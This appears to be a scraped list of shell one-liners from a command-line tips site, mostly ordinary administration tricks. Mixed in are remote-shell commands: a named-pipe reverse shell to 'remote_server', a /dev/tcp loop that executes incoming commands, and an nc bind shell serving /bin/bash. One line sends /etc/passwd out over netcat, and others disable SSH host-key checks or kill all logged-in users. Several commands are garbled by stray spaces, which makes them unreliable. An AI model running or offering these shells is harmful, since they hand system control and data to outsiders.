$ cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed
$ awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s ", $9, $11, $1, $2, $3}' /var/log/auth.log
$ gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
$ somecommand 2>&1 >> logfile | tee -a logfile
$ for i in *.html ; do mv $i ${i%.html}.htm ; done
$ sed -i 8d ~/.ssh/known_hosts
$ autossh -f -M 20000 -D 8000 somehost -N
$ find . -type l ! -exec test -e {} \; -print
$ while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target " while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
$ fuser [portnumber]/[proto]
$ wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]" "} '
$ svn status |grep '\?' |awk '{print $2}'| xargs svn add
$ while true; do pri n tf "\e[38;5;$(($(od -d -N 2 -A n /dev/ura n dom)%$(tput colors)))m.\e[0m"; do n e
$ curl -s http://www.census.gov/popclock/data/population/world | python -c 'import json,sys;obj=json.load(sys.stdin);print obj["world"]["population"]'
$ rsync -aHAXxv --numeric-ids --delete --progress -e "ssh -T -c arcfour -o Compression=no -x" user@<source>:<source_dir> <dest_dir>
$ for i in {1..30}; do ping -t $i -c 1 google.com; done | grep "Time to live exceeded"
$ tar -xaf archive. tar .gz --strip-components=1
$ awk '{gsub("foo","bar",$5)}1' file
$ multitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' -l 'ssh machine2 "tail -f /var/log/apache2/error.log"'
$ var='123456789'; echo ${var:<start_pos>:<offset>}
$ ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost
$ rename 's/\d+/sprintf("%04d",$&)/e' *.jpg
$ ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
$ say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }
$ <ALT>+<.> or <ALT>+<NUM>+<.> or <ALT>+<NUM>,<ALT>+<.>
$ egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s " $h "$d"; done
$ dd if=/path/inputfile | pv | dd of=/path/outpufile
$ Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
$ ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4
$ echo $(openssl rand 4 | od -DAn)
$ url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl -b $url; mplayer $(ls ${url##*=}*| tail -n1) -ss 00:57 -endpos 10 -vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound
$ find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html
$ wget -qO- icanhazip.com
$ MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e " BOOOM! Time to start."
$ grep -Fxv -f file1 file2
$ curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R
$ pydoc -p 8888 & gnome-open http://localhost:8888
$ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
$ ssh <host> ' tar -cz /<folder>/<subfolder>' | tar -xvz
$ dd if=/dev/sda | ssh user@server ' dd of=sda.img'
$ cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
$ for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt
$ find -L /proc/*/fd -links 0 2>/dev/null
$ ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com
$ find <directory path> -mtime +365 -and -not -type d -delete
$ for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done
$ grep --color=auto -iRnH "$search_word" $directory
$ alias timestamp='date "+%Y%m%dT%H%M%S"'
$ rename .oldextension .newextension *.oldextension
$ awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
$ iptables -A INPUT -s 222.35.138.25/32 -j DROP
$ rsync -a --delete empty-dir/ target-dir/
$ du -x --max-depth=1|sort -rn|awk -F / -v c=$COLUMNS 'NR==1{t=$1} NR>1{r=int($1/t*c+.5); b="\033[1;31m"; for (i=0; i<r; i++) b=b"#"; printf " %5.2f%% %s\033[0m %s ", $1/t*100, b, $2}'|tac
$ hping3 10.0.2.254 --icmp --sign MSGID1 -d 50 -c 1 --file a_file
$ ruby -ryaml -rjson -e 'puts YAML.dump(JSON.parse(STDIN.read))' < file.json > file.yaml
$ perl -e '$|++; while (1) { print " " x (rand(35) + 1), int(rand(2)) }'
$ xloadimage <(ssh USER@HOSTNAME DISPLAY=:0.0 import -window root png:-)
$ tar xfz filename. tar .gz -C PathToDirectory
$ seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?" ":"\t")}'
$ IFS=$' ' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed -r 's/^[^ ]+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done
$ imgur(){ $*|convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml| grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";}
$ gpg --gen-random --armor 1 30
$ pkill -KILL -u username
$ fsck.ext4 -cDfty -C 0 /dev/sdxx
$ lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; }
$ ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com
$ MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date -d"0+$i sec" +%H:%M:%S)";sleep 1;done
$ curl -I http://localhost
$ kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
$ screen /dev/tty<device> 9600
$ cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" " "| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30
$ rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ &
$ scp -l10 pippo@serverciccio:/home/zutaniddu/* .
$ pv /dev/zero|ssh $host 'cat > /dev/null'
$ find /path/to/dir -type f -delete
$ sed -i '/myexpression/d' /path/to/file.txt
$ find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
$ arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3
$ wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv
$ tar -cf - /home/user/test | gzip -c | ssh user@ ssh Server 'cd /tmp; tar xfz -'
$ pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
$ id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')
$ echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@example.com
$ echo <ctrl-v><esc>c<enter>
$ curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
$ :let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
$ tar czv Pictures | split -d -a 3 -b 16M - pics. tar .gz.
$ for file in <directory A>/*; do rm <directory B>/`basename $ file `; done
$ curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
$ read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls
$ cd $(dirname $(find ~ -name emails.txt))
$ sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
$ echo "screen -DR" >> ~/.bash_profile
$ mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
$ watch "dmesg |tail -15"
$ dpkg --get-selections > LIST_FILE
$ for i in $(ls *.od{tp}); do unoconv -f pdf $i; done
$ find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;
$ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6
$ echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t
$ find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
$ sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/ / /;ta'
$ !!; while [ $? -ne 0 ]; do !!; done
$ echo "main(i){for(i=0;;i++)putchar(((i*(i>>8|i>>9)&46&i>>8))^(i&i>>13|i>>6));}" | gcc -x c - && ./a.out | aplay
$ color()(set -o pipefail;"$@" 2>&1>&3|sed $'s,.*,\e[31m&\e[m,'>&2)3>&1
$ find . -name '*.rar' -execdir unrar e {} \;
$ ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no username@host
$ find . -maxdepth 1 -size 0c -delete
$ pv -tpreb /dev/urandom | dd of=file.img
$ step1 ; step2 ; step3 ; step4 ; curl -o- --get 'https://stream.twitter.com/1/statuses/filter.json' --header "$oauth_header" --data "follow=$id"
$ step4() { oauth_header="Authorization: OAuth oauth_consumer_key=\"$k1\", oauth_nonce=\"$once\", oauth_signature=\"$signature\", oauth_signature_method=\"HMAC-SHA1\", oauth_timestamp=\"$ts\", oauth_token=\"$k3\", oauth_version=\"1.0\"" ; }
$ step2(){ b="GET&https%3A%2F%2Fstream.twitter.com%2F1%2Fstatuses%2Ffilter.json&follow%3D${id}%26oauth_consumer_key%3D${k1}%26oauth_nonce%3D${once}%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D${ts}%26oauth_token%3D${k3}%26oauth_version%3D1.0";}
$ step3() { s=$( echo -n $b | openssl dgst -sha1 -hmac $hmac -binary | openssl base64); signature=`for((i=0;i<${#s};i++)); do case ${s:i:1} in +) e %2B;; /) e %2F;; =) e %3D;; *) e ${s:i:1};; esac ; done` ; } ; e() { echo -n $1; }
$ find / -type f -size +500M -size -1G
$ while true; do cat /proc/net/dev; sleep 1; done | awk -v dc="date \"+%T\"" '/eth0/{i = $2 - oi; o = $10 - oo; oi = $2; oo = $10; dc|getline d; close(dc); if (a++) printf "%s %8.2f KiB/s in %8.2f KiB/s out ", d, i/1024, o/1024}'
$ touch -d $(zenity --calendar --date-format=%F) filename
$ $ history -a #in one shell , and $ history -r #in another running shell
$ rsync -rv <src> <dst> --progress
$ read day month year < <(date +'%d %m %y')
$ cat /sys/class/net/eth0/address
$ for i in ./*foo*;do mv -- "$i" "${i//foo/bar}";done
$ dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1
$ alias screensaver='for ((;;)); do echo -ne "\033[$((1+RANDOM%LINES));$((1+RANDOM%COLUMNS))H\033[$((RANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done'
$ alias rot13="tr a-zA-Z n-za-mN-ZA-M"
$ find . -size +100000k -exec du -h {} \;
$ perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html
$ tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)"
$ perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep 1}'
$ read -a ARR <<<'world domination now!'; echo ${ARR[2]};
$ atb() { l=$( tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%. tar .gz} && tar xf $1 -C ${1%. tar .gz}; fi ;}
$ ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 -query localhost'
$ cat my.ps | nc -q 1 hp4550.mynet.xx 9100
$ d="www.dafont.com/alpha.php?"; for c in {a..z}; do l=`curl -s "${d}lettre=${c}"|sed -n 's/.*ge=\([0-9]\{2\}\).*/\1/p'`; for ((p=1;p<=l;p++));do for u in `curl -s "${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";done;done;done
$ tail -f access.log | pv -l -i10 -r >/dev/null
$ strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p
$ scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql
$ perl -e 'while(1){print"> ";eval<>}'
$ nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
$ mail -s "subject" user@todomain.com <e mail body.txt -- -f customfrom@fromdomain.com -F 'From Display Name'
$ find . -type d -empty -delete
$ l s of -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if( s >0) print ( s )" MB -- "$9 | " s ort -rn" }'
$ colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2
$ grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
$ curl -s "http://www.geody.com/geoip.php?ip=$( curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'
$ curl http://www.whatismyip.org/
$ sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF'
$ find -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d ",$t/3600,$t/60%60,$t%60' | tail -n 1
$ cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | net cat -l -p 8080
$ ls -lct /etc | tail -1 | awk '{print $6, $7}'
$ while read server; do ssh -n user@$server "command"; done < servers.txt
$ grep -r --include="*.[ch]" pattern .
$ curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
$ ab -n 9000 -c 900 localhost:8080/index.php
$ iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22
$ ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'
$ mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
$ echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
$ find ./ -type f -exec sed -i 's/\t/ /g' {} \;
$ mtr --report --report-cycles 10 www.google.com > google_net_report.txt
$ alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
$ while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done
$ while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done
$ perl -pi.bk -e's/foo/bar/g' file1 file2 fileN
$ sudo who | awk '!/root/{ cmd="/sbin/pkill -KILL -u " $1; system(cmd)}'
$ paste -d: <(ls -1 *.mp4) <(ls -1 *.srt) | while read line; do movie="${line%%:*}"; subtitle="${line##*:}"; mv "${subtitle}" "${movie%.*}.srt"; done
$ ssh -J user@reachable_host user@unreacheable_host
$ cat *.jpg | ffmpeg -f image2pipe -r 1 -vcodec mjpeg -i - -vcodec libx264 out.mp4
$ perl -e 'for(;;sleep 1){printf"\r"."%.4b "x6,split"",`date +%H%M%S`}'
$ nik=clf$RANDOM;sr=irc.efnet.org;expect -c "set timeout -1;spawn nc $sr 6666;set send_human {.1 .2 1 .2 1};expect AUTH* ;send -h \"user $nik * * :$nik commandlinefu nick $nik \"; interact -o -re (PING.:)(.*\$) {send \"PONG :\$interact_out(2,string)\"}"
$ clear;while true;sleep 1;do for((a=1;a<=$( tput cols)/3;a++));do tput cup 0 $a;echo " " $(date);done;sleep 1;for((a;a>=1;a--));do tput cup 0 $a;echo $(date) " ";done;done
$ rsync -v -r --size-only --compare-dest=../A/ B/ C/
$ if [[ ":$PATH:" != *":$dir:"* ]]; then PATH=${PATH}:$dir; fi
$ python -c 'import sys, yaml, json; yaml.safe_dump(json.load(sys.stdin), sys.stdout, default_flow_style=False)' < file.json > file.yaml
$ Q="YOURSEARCH"; GOOG_URL="http://www.google.com/search?q="; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" -skLm 10 "${GOOG_URL}\"${Q/\ /+}\"" | grep -oP '\/url\?q=.+?&' | sed 's/\/url?q=//;s/&//'); echo -e "${stream//\%/\x}"
$ exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
$ mkfifo foo ; nc -lk 2600 0<foo | /bin/bash 1>foo
$ up() { local x='';for i in $(seq ${1:-1});do x="$x../"; done;cd $x; }
$ printf "%$(tput cols)s "|tr ' ' '='
$ step1() { k1="Consumer key" ; k2="Consumer secret" ; k3="Access token" ; k4="Access token secret" ; once=$RANDOM ; ts=$(date +%s) ; hmac="$k2&$k4" ; id="19258798" ; }
$ ping -c 1 -q MACHINE_IP_OR_NAME >/dev/null 2>&1 && echo ONLINE || echo OFFLINE
$ diff <(exiftool img_1.jpg) <(exiftool img_2.jpg)
$ xmlstarlet sel -t -c "/path/to/element" file.xml
$ awk 'NR >= 3 && NR <= 6' /path/to/file
$ tcpdump -w - |pv -bert >/dev/null
$ cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32
$ var=:foobar:; echo ${var:1:-1}
$ export PS1="[\u@`hostname -I` \W]$ "
$ command > >(tee stdout.log) 2> >(tee stderr.log >&2)
$ sed -e '/\\$/{:0;N;s/\\ //;t0}'
$ lower() { echo ${@,,}; }
$ convert input.png -alpha set -channel A -fx 0.5 output.png
$ mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe
$ awk '(length > n) {n = length} END {print n}'
$ shopt -s histappend ; PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
$ ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'`
$ sudo socat TCP4-LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service Unavailable";'
$ arr[i*100+j]="whatever"
$ echo "Terrorist threat level: `od -An -N1 -i /dev/random`"
$ wget -e robots=off -E -H -k -K -p http://<page>
$ echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g'
$ rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
$ ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip
$ xargs -n 2 mv < file_with_colums_of_names
$ tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}'
$ ontouchdo(){ while :; do a=$(stat -c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2"; sleep 1; done }
$ /usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less
$ alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"'
$ mussh -h host1 host2 host3 -c uptime
$ dig +short @resolver1.opendns.com myip.opendns.com
$ for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s ' '; echo -e "\e[m"
$ mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@ ssh server 'cd /path/to/backup/dir; cat > dbname.sql'
$ dd if=/dev/zero | pv | dd of=/dev/null
$ ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1
$ dd if=/dev/nst0 |pv| dd of=restored_file.tar
$ curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2500:25] | grep -v _ curl _ > comfu.txt
$ mwiki() { dig +short txt "$*".wp.dg.cx; }
$ ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"
$ grep "^V<TAB>" your_file
$ any_script.sh < <(some command)
$ my info () { info --subnodes -o - $1 | less; }
$ username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' ' ' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr ' ' '+' | sed 's/+$/ /' | bc
$ for f in *;do mv "$f" "${f// /_}";done
$ alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'
$ find . ! -name <FILENAME> -delete
$ curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin
$ mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
$ [ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
$ for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
$ echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
$ (IFS=:;for p in $PATH; do test -d $p || echo $p; done)
Copied to clipboard